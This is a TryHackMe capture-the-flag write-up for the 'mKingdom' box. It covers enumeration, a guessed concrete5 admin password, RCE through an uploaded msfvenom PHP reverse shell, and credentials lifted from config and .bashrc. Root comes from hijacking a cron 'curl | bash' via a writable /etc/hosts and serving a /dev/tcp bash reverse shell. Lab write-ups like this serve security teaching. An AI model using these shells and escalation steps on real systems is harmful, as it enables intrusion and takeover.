TryHackMe - mKingdom

Beginner-friendly box inspired by a certain mustache man.

Title mKingdom
Difficulty Easy
Authors tryhackme + uartuo
Tags CMS, concrete5, RCE, privileges escalation

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -Pn --min-rate 5000 mkingdom.thm
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 11:26 EDT
Nmap scan report for mkingdom.thm (10.10.111.96)
Host is up (0.33s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

Nmap done: 1 IP address (1 host up) scanned in 15.25 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 85 mkingdom.thm
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 11:26 EDT
Nmap scan report for mkingdom.thm (10.10.111.96)
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops

TRACEROUTE (using port 85/tcp)
HOP RTT       ADDRESS
1   255.22 ms 10.6.0.1
2   ... 3
4   326.14 ms mkingdom.thm (10.10.111.96)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.67 seconds

Port 85 is the only open port and it is currently hosting a website with Apache. Access the website in the browser and found nothing on it:

image.png

I tried to extract the data from the image on the website using several tools (steghide, exiftool, etc.), but it was just a rabbit hole.

Fuzzing

Using feroxbuster to enumerate the directories of the web page and I found interesting things:

┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mkingdom.thm:85/ -s 200 -r
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://mkingdom.thm:85/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 📍  Follow Redirects      │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       98l      326w    50278c http://mkingdom.thm:85/img1.jpg
200      GET       33l       69w      647c http://mkingdom.thm:85/
200      GET       38l       67w      871c http://mkingdom.thm:85/app/
200      GET      240l      700w    12047c http://mkingdom.thm:85/app/castle/
200      GET       15l       49w      775c http://mkingdom.thm:85/app/castle/updates/
200      GET       15l       49w      777c http://mkingdom.thm:85/app/castle/packages/
200      GET        0l        0w        0c http://mkingdom.thm:85/app/castle/application/
200      GET        0l        0w        0c http://mkingdom.thm:85/app/castle/application/files/
200      GET       15l       49w      805c http://mkingdom.thm:85/app/castle/application/mail/
200      GET       15l       49w      807c http://mkingdom.thm:85/app/castle/application/tools/
200      GET       15l       49w      809c http://mkingdom.thm:85/app/castle/application/themes/
200      GET       15l       49w      805c http://mkingdom.thm:85/app/castle/application/jobs/
200      GET       15l       49w      809c http://mkingdom.thm:85/app/castle/application/blocks/
200      GET        0l        0w        0c http://mkingdom.thm:85/app/castle/application/config/app.php
200      GET       15l       49w      803c http://mkingdom.thm:85/app/castle/application/src/
200      GET       15l       49w      815c http://mkingdom.thm:85/app/castle/application/languages/
200      GET       15l       49w      825c http://mkingdom.thm:85/app/castle/application/authentication/
200      GET       15l       49w      813c http://mkingdom.thm:85/app/castle/application/elements/
200      GET       19l       94w     1627c http://mkingdom.thm:85/app/castle/application/config/
200      GET       15l       49w      807c http://mkingdom.thm:85/app/castle/application/views/

Access the /app directory:

image.png

Analyze the script behind the JUMP button, but it seems that nothing is hidden except for redirecting the user to another location, which is /app/castle. Let’s move on!

image.png

Analyzing

Moving around on the web page and I found these information:

Admin Username

By clicking on the ‘Blog’ section on the navigation bar, I discovered a straightforward blog that was released on July 1, 2014.

image.png

The author’s username is right under the blog title when accessed:

image.png

admin

CMS & Login Page

Scrolling down to the bottom of the web page, I discovered the CMS is used for this website and also the Log In button leads to the web-admin login page:

image.png

image.png

Exploit

The initial information is sufficient, it’s time to dig deeper into the target system!

CMS Version & Its Vulnerability

Since I discovered the CMS on the website, it’s particularly important to detect the exact version of the CMS in order to explore the specific vulnerabilities to exploit.

Press Ctrl + U to view the source page —> Press Ctrl + F and type in “concrete5” for searching, then I found the current version is being used:

<title>Home :: toad</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.5.2"/>
<link rel="canonical" href="http://mkingdom.thm:85/app/castle/index.php">
<script type="text/javascript">

8.5.2

Googling with the keyword “concrete5 8.5.2 exploit” or “concrete5 8.5.2 vulnerability”, I easily found the RCE vulnerability applies to the concrete5 CMS within versions before 8.5.3:

image.png

The exploit process requires the Admin role in order to edit and allow other file types. Therefore, I need to log in successfully with the admin username first. Let’s swap to the Login page.

Admin Login

Caution: This is quite annoyed! The web application will ban your IP after 3-4 times logging with invalid credentials. If you get blocked/banned, you need to reset the machine on the TryHackMe.

Due to the protection of the login page with ban IP after a few failed attempts, the only way is guessing the password (password guessing technique) for the admin username.

And the final result is simply “password”.

→ Credentials: admin:password

Remote Code Execution

When I got the admin user, I can now exploit the vulnerability that I’ve found before.

  1. Click on the hamburger menu icon on the top-right corner —> Drop-down the “System & Settings” —> “Files” —> “Allowed File Types”:

    image.png

  2. Add “php” at the end of the list —> Click “Save”:

    image.png

  3. Create a PHP reverse shell:
    • Option 1: Copy the shell from the PoC on the internet (Hackerone or Vulners)
    • Option 2: Use command

        msfvenom -p php/reverse_php LHOST=<YOUR_IP> LPORT=1234 > shell.php
      
    • Or write your own shell
  4. Click on the hamburger menu icon on the top-right corner —> Drop-down the “Files” —>”Files Manager” —> Click “Upload Files” —> Select & Upload the shell

    image.png

    image.png

    Click “Close” after uploading the shell successfully:

    image.png

  5. Start a listener on the local machine:

     ┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
     └─$ nc -lvnp 1234
     listening on [any] 1234 ...
    

    And click on the link to open & execute the shell:

    image.png

Then I get connected to the target system:

┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.68.89] from (UNKNOWN) [10.10.111.96] 45844
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:32:35 up  1:10,  0 users,  load average: 0.07, 0.04, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)

TTY Spawn Shell & Stabilize The Shell (Optional)

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
stty rows 38 columns 116

image.png

Post Exploitation

Privilege Escalation 1 → Toad

First, I detect the available users on the system by listing the /home directory and I found 2:

www-data@mkingdom:/var/www/html/app/castle$ ls -l /home
total 8
drwx------ 15 mario mario 4096 Jan 29  2024 mario
drwxrwx--- 16 toad  toad  4096 Jan 29  2024 toad

toad’s directory seems less restricted than the mario, so I started with this user first. I simply use grep to find all the information of toad in the web app directory (user www-data’s directory):

www-data@mkingdom:/var/www/html/app/castle$ grep -R "toad"
application/config/generated_overrides/site.php:            'name' => 'toad',
application/config/database.php:            'username' => 'toad',
application/config/database.php:            'password' => '[REDACTED]',

Great! Easy one!

www-data@mkingdom:/var/www/html/app/castle$ su toad
Password: 
toad@mkingdom:/var/www/html/app/castle$ cd
toad@mkingdom:~$ pwd
/home/toad

Privilege Escalation 2 → Mario

I kept manually enumerating the information of user mario in the toad’s directory until I found this base64 decoded string:

toad@mkingdom:~$ tail .bashrc
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

export PWD_token='aWthVGVOVEFOdEVTCg=='

Decode the string and I expected it is the mario’s password:

toad@mkingdom:~$ echo "aWthVGVOVEFOdEVTCg==" | base64 -d
[REDACTED]
toad@mkingdom:~$ su mario
Password: 
mario@mkingdom:/home/toad$ cd
mario@mkingdom:~$ pwd
/home/mario

Yes it is!

In mario’s directory, I explore the user.txt which is contain the first flag of the CTF room. However, I was not able to read the file in the current directory:

mario@mkingdom:~$ ls -lht
total 36K
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Desktop
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Documents
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Downloads
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Music
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Pictures
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Public
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Templates
drwxr-xr-x 2 mario mario 4.0K Jan 26  2024 Videos
-rw-r--r-- 1 root  root    38 Nov 27  2023 user.txt
mario@mkingdom:~$ cat user.txt
cat: user.txt: Permission denied

But since I was mario user and the file is in mario’s directory, it is still available for me to copy the file into another directory and then read it:

mario@mkingdom:~$ cp user.txt /tmp/
mario@mkingdom:~$ cat /tmp/user.txt 
thm{REDACTED}

Privilege Escalation 3 → Root

To escalate the privilege to the root user, I used find command to find the vulnerable files and directories that include: “SUID/GUID”, “writable/readable/executable”, “SUDO rights”,… and I luckily found this one:

mario@mkingdom:~$ find /etc/ -type f -perm 04000 2>/dev/null
mario@mkingdom:~$ find /etc/ -type f -writable 2>/dev/null
/etc/hosts

/etc/hosts file is writable, which means I can modify the domains and the IP addresses in it. Therefore, there must be a process running with root permissions that is relative to this file or the domains or the IP addresses or maybe all of them.

Flashback to a file that I’ve found earlier in toad’s directory:

toad@mkingdom:~$ cat smb.txt

Save them all Mario!

                                      \| /
                    ....'''.           |/
             .''''''        '.       \ |
             '.     ..     ..''''.    \| /
              '...''  '..''     .'     |/
     .sSSs.             '..   ..'    \ |
    .P'  `Y.               '''        \| /
    SS    SS                           |/
    SS    SS                           |
    SS  .sSSs.                       .===.
    SS .P'  `Y.                      | ? |
    SS SS    SS                      `==='
    SS ""    SS
    P.sSSs.  SS
    .P'  `Y. SS
    SS    SS SS                 .===..===..===..===.
    SS    SS SS                 |   || ? ||   ||   |
    ""    SS SS            .===.`==='`==='`==='`==='
  .sSSs.  SS SS            |   |
 .P'  `Y. SS SS       .===.`==='
 SS    SS SS SS       |   |
 SS    SS SS SS       `==='
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

The file smb.txt appears to contain a playful ASCII art message, and it uses only 3 words “P”, “S”, and “Y”. This reminds me a tool called pspy which is used for monitoring real-time processes and cronjobs on Linux system.

Within the hint, I downloaded the pspy32 and transferred it to the target machine and then execute it:

image.png

Waited for a minute and I captured interested lines:

curl mkingdom.thm:85/app/castle/application/counter.sh
/bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log                               

Shortly, these 2 commands are automatically executed in every minute to:

  1. Fetch (download) a script coutner.sh from:
    • Host: mkingdom.thm
    • Port: 85
    • Destination: /app/castle/application/
  2. Execute it with bash
  3. And finally save the result of the script into /var/log/up.log

So, if I modify the IP address of mkingdom.thm in /etc/hosts to my own local IP address:

mario@mkingdom:~$ cat /etc/hosts
127.0.0.1       localhost
10.6.68.89      mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

And then I create a sub-directory as same as the destination has been mentioned on my local machine within a reverse shell named as “counter.sh”:

┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ mkdir -p app/castle/application/                                   
                                                                                                                      
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ nano app/castle/application/counter.sh
                                                                                                                      
┌──(kali㉿kali)-[~/TryHackMe/mKingdom]
└─$ cat app/castle/application/counter.sh 
#!/bin/bash

bash -i >& /dev/tcp/10.6.68.89/4444 0>&1

Finally, do the last 2 things:

  • Start a listener on the specified port in the reverse shell counter.sh
  • Start an HTTP server on port 85 in the current directory

image.png

Wait for a while and observe whether the created shell has been transferred and the listener has successfully connected to the target machine as the root user. Using the same technique as mario’s directory, copy the root.txt file to /tmp. I am ready to capture the root flag.

root@mkingdom:~# cp root.txt /tmp/root.txt
cp root.txt /tmp/root.txt
root@mkingdom:~# cat /tmp/root.txt
cat /tmp/root.txt
thm{REDACTED}